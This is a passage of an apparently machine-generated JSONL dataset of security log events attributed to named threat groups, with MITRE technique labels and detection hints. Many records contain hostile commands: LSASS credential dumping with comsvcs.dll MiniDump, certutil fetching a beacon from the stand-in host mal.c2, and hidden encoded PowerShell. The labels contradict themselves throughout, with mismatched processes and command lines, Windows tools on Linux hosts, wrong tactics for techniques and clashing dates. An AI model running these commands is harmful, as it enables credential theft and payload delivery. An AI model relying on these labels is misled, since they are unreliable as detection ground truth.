beacon.dll","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-07-18T02:46:10.000Z","user":{"name":"azuread\\zv19zydp8bpe","sid":"S-1-5-21-143846882-147940312-7687"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1531 using LOLBin technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Initial Access"],"technique_id":"T1531"},"event_id":"evt_mustangpanda_20260809T233110000Z_0004049","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.215.151.192","name":"AZURE-VM-P4MNXIUQT2","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4049Mustang PandaT1531"},"network":{"domain":"cdn-content.com","dst_ip":"1.96.15.190","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"mshta.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-06-02T14:07:43.000Z","user":{"name":"arn:aws:iam::0b5d5ih1ohng","sid":"S-1-5-21-557302531-754773467-7548"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1059.001 using cloud-native technique.","sub_technique":"PowerShell","tactic":["Impact","Lateral Movement","Command and Control"],"technique_id":"T1059.001"},"event_id":"evt_mustangpanda_20260811T022645000Z_0004051","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["Fileless","Base64","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.146.112.251","name":"APP-WEB-PCGWQR32CL","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4051Mustang PandaT1059.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.184.159.217","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2241 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-08-10T12:29:24.000Z","user":{"name":"i-flek46jcn4hs","sid":"S-1-5-21-653892208-367062353-9480"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1003.001 using encrypted C2 technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Initial Access","Privilege Escalation","Exfiltration"],"technique_id":"T1003.001"},"event_id":"evt_mustangpanda_20250520T061120000Z_0004053","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["WMI","Base64","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.161.105.158","name":"IAM-ROLE-RD10N4Z81R","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4053Mustang PandaT1003.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.71.226.245","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1495 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"svchost.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-01-29T22:59:59.000Z","user":{"name":"CORP\\sv8v50noiuhy","sid":"S-1-5-21-914966480-658140744-9087"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1021.006 using encrypted C2 technique.","sub_technique":"Windows Remote Management","tactic":["Impact","Exfiltration","Execution"],"technique_id":"T1021.006"},"event_id":"evt_lapsus_20261107T154212000Z_0004055","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["WMI","TLS","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.94.78.153","name":"APP-WEB-LRQPYH8LWC","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4055Lapsus$T1021.006"},"network":{"domain":"github.com","dst_ip":"1.95.75.33","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3749 C:\\temp\\lsass.dmp full","name":"certutil.exe","parent_name":"winlogon.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-05-10T04:48:17.000Z","user":{"name":"svc_9do9dkeso386","sid":"S-1-5-21-105664592-727011282-9104"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1071.001 using encrypted C2 technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Defense Evasion","Persistence","Credential Access"],"technique_id":"T1071.001"},"event_id":"evt_apt41_20250531T021949000Z_0004057","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["LOLBin","JA3 Spoof","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.111.118.20","name":"AZURE-VM-UK0VKVX59X","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4057APT41T1071.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.77.148.79","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"bitsadmin.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-08-11T08:46:59.000Z","user":{"name":"CORP\\07a5obvul3xz","sid":"S-1-5-21-615922166-266000571-3878"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1003.001 using encrypted C2 technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Command and Control"],"technique_id":"T1003.001"},"event_id":"evt_mustangpanda_20261018T234925000Z_0004059","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Fileless","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.85.230.182","name":"DB-ORACLE-3S7YYGJ8K1","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4059Mustang PandaT1003.001"},"network":{"domain":"github.com","dst_ip":"1.144.250.112","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"wmic.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-07-31T05:13:57.000Z","user":{"name":"svc_qmhh7ihywsp1","sid":"S-1-5-21-936220319-507350185-3376"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1003.001 using cloud-native technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Execution"],"technique_id":"T1003.001"},"event_id":"evt_unc4841_20261024T030912000Z_0004061","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["Base64","WMI","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.77.134.105","name":"WIN-FIN-SRV-ET7HEWK2ZH","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4061UNC4841T1003.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.114.106.254","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3192 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-09-04T05:09:36.000Z","user":{"name":"azuread\\qtudp8m0llqe","sid":"S-1-5-21-484259640-365355767-8261"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1021.006 using cloud-native technique.","sub_technique":"Windows Remote Management","tactic":["Credential Access"],"technique_id":"T1021.006"},"event_id":"evt_scatteredspider_20251109T211734000Z_0004063","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["LOLBin","WMI","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.116.42.166","name":"DB-ORACLE-RB8WZGHT9D","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4063Scattered SpiderT1021.006"},"network":{"domain":"cdn-content.com","dst_ip":"1.155.29.60","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-06-02T08:09:28.000Z","user":{"name":"azuread\\kvrmay9r8x9p","sid":"S-1-5-21-602662075-976116243-1669"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1570 using encrypted C2 technique.","sub_technique":"Lateral Tool Transfer","tactic":["Persistence"],"technique_id":"T1570"},"event_id":"evt_fin7_20250826T081118000Z_0004065","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["Base64","JA3 Spoof","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.219.63.169","name":"DB-ORACLE-55ZCYU6ND1","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4065FIN7T1570"},"network":{"domain":"cdn-content.com","dst_ip":"1.190.156.21","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"explorer.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-08-17T02:22:46.000Z","user":{"name":"svc_e7lu1o6wolah","sid":"S-1-5-21-696752480-485789634-3908"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1566.001 using fileless technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Exfiltration"],"technique_id":"T1566.001"},"event_id":"evt_scatteredspider_20250612T205027000Z_0004067","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","TLS","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.65.159.109","name":"WIN-FIN-SRV-G604TV579G","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4067Scattered SpiderT1566.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.115.92.124","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2025-01-12T15:58:19.000Z","user":{"name":"azuread\\vqv7j9nb3ws9","sid":"S-1-5-21-480612347-778508779-6340"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1484.001 using LOLBin technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Command and Control","Persistence"],"technique_id":"T1484.001"},"event_id":"evt_fin7_20251213T172452000Z_0004069","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["Base64","JA3 Spoof","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.36.208.178","name":"WIN-FIN-SRV-QCF1BGQO7Q","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4069FIN7T1484.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.7.160.106","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3425 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"explorer.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-09-28T01:44:52.000Z","user":{"name":"svc_4ldkzewb9uhi","sid":"S-1-5-21-800486055-670401752-8309"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1531 using fileless technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Impact","Persistence"],"technique_id":"T1531"},"event_id":"evt_mustangpanda_20250316T040715000Z_0004071","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["Fileless","WMI","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.49.13.4","name":"APP-WEB-ZSBKF03UP1","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4071Mustang PandaT1531"},"network":{"domain":"update.microsoft.com","dst_ip":"1.146.117.179","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"bitsadmin.exe","parent_name":"svchost.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-06-04T16:22:55.000Z","user":{"name":"azuread\\prxtuvkuelr4","sid":"S-1-5-21-766437282-864079492-2205"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1546.003 using fileless technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Discovery"],"technique_id":"T1546.003"},"event_id":"evt_unc4841_20250125T034205000Z_0004073","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["TLS","JA3 Spoof","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.22.104.254","name":"EC2-INST-HCSGHB4176","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4073UNC4841T1546.003"},"network":{"domain":"update.microsoft.com","dst_ip":"1.101.34.38","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-05-31T03:39:34.000Z","user":{"name":"CORP\\h3ahz39bt5jk","sid":"S-1-5-21-429882388-430945425-8376"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1484.001 using fileless technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Initial Access","Privilege Escalation"],"technique_id":"T1484.001"},"event_id":"evt_scatteredspider_20250128T034455000Z_0004075","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["Base64","WMI","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.14.39.2","name":"DB-ORACLE-WR8UXOLR8J","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4075Scattered SpiderT1484.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.160.235.159","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"services.exe"},"source":"Windows Security Log","timestamp":"2026-04-22T04:34:26.000Z","user":{"name":"azuread\\mh5ix3pl8z6u","sid":"S-1-5-21-885486258-688393732-1157"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1531 using cloud-native technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Privilege Escalation","Reconnaissance"],"technique_id":"T1531"},"event_id":"evt_scatteredspider_20260822T221806000Z_0004077","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.206.5.94","name":"WIN-FIN-SRV-4RNBHRAY9X","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4077Scattered SpiderT1531"},"network":{"domain":"aws.amazon.com","dst_ip":"1.37.255.183","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"svchost.exe"},"source":"Windows Security Log","timestamp":"2025-03-13T05:27:36.000Z","user":{"name":"i-9uvub11eglkk","sid":"S-1-5-21-455532939-146786566-2220"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1059.001 using LOLBin technique.","sub_technique":"PowerShell","tactic":["Exfiltration"],"technique_id":"T1059.001"},"event_id":"evt_lapsus_20261218T034827000Z_0004079","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["WMI","JA3 Spoof","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.234.50.80","name":"APP-WEB-CVCYJD8VSD","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4079Lapsus$T1059.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.151.103.112","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1666 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"services.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-03-01T18:31:51.000Z","user":{"name":"azuread\\q8u11cum5us0","sid":"S-1-5-21-205838715-447981603-2328"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1531 using cloud-native technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Privilege Escalation"],"technique_id":"T1531"},"event_id":"evt_apt41_20250104T183253000Z_0004081","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["TLS","LOLBin","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.213.134.219","name":"EC2-INST-ZSGIBDM5DE","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4081APT41T1531"},"network":{"domain":"cdn-content.com","dst_ip":"1.81.254.60","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1696 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"winlogon.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-04-28T03:36:27.000Z","user":{"name":"arn:aws:iam::9o2uhp5aif26","sid":"S-1-5-21-241159545-297705636-3221"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1484.001 using encrypted C2 technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Discovery"],"technique_id":"T1484.001"},"event_id":"evt_mustangpanda_20250603T183426000Z_0004083","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["LOLBin","TLS","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.151.45.230","name":"AZURE-VM-P20I1XVSIY","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4083Mustang PandaT1484.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.81.26.18","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2098 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"services.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-10-25T02:40:05.000Z","user":{"name":"i-ars863yz26cb","sid":"S-1-5-21-916576090-547157998-5891"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1531 using encrypted C2 technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Discovery","Initial Access"],"technique_id":"T1531"},"event_id":"evt_lapsus_20260311T092645000Z_0004085","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["LOLBin","Fileless","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.241.3.15","name":"EC2-INST-AIA8GG4SZA","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4085Lapsus$T1531"},"network":{"domain":"aws.amazon.com","dst_ip":"1.14.128.217","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 789 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-10-09T20:40:56.000Z","user":{"name":"svc_j7h54nh82srz","sid":"S-1-5-21-332305243-528407614-2191"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1021.006 using cloud-native technique.","sub_technique":"Windows Remote Management","tactic":["Privilege Escalation","Defense Evasion"],"technique_id":"T1021.006"},"event_id":"evt_mustangpanda_20250319T051416000Z_0004087","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["TLS","Fileless","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.205.25.31","name":"APP-WEB-I2ZTHTG86K","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4087Mustang PandaT1021.006"},"network":{"domain":"update.microsoft.com","dst_ip":"1.51.98.246","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1389 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-06-06T20:00:18.000Z","user":{"name":"azuread\\v0uz5uxkz7o6","sid":"S-1-5-21-641006434-976273743-7298"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1071.001 using fileless technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Credential Access","Privilege Escalation","Exfiltration"],"technique_id":"T1071.001"},"event_id":"evt_lapsus_20251206T014600000Z_0004089","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["WMI","Base64","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.120.10.201","name":"IAM-ROLE-YNZNUJ905L","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4089Lapsus$T1071.001"},"network":{"domain":"github.com","dst_ip":"1.114.79.37","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-03-10T12:43:19.000Z","user":{"name":"svc_n4x9paro1p8g","sid":"S-1-5-21-416354371-176579426-4864"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1071.001 using cloud-native technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Exfiltration","Credential Access","Defense Evasion"],"technique_id":"T1071.001"},"event_id":"evt_fin7_20250609T122142000Z_0004091","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","LOLBin","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.184.74.154","name":"WIN-FIN-SRV-7A9URZLGAU","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4091FIN7T1071.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.131.174.240","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"powershell.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-08-29T18:30:57.000Z","user":{"name":"svc_a2y36dlvhj80","sid":"S-1-5-21-196135809-539580199-1638"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1003.001 using fileless technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Exfiltration"],"technique_id":"T1003.001"},"event_id":"evt_scatteredspider_20260422T115714000Z_0004093","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.121.188.131","name":"IAM-ROLE-8FX5IX7HZB","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4093Scattered SpiderT1003.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.64.48.123","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"powershell.exe","parent_name":"services.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-04-27T09:45:25.000Z","user":{"name":"CORP\\8s5g9g3zfrro","sid":"S-1-5-21-636938741-843944100-7335"}}
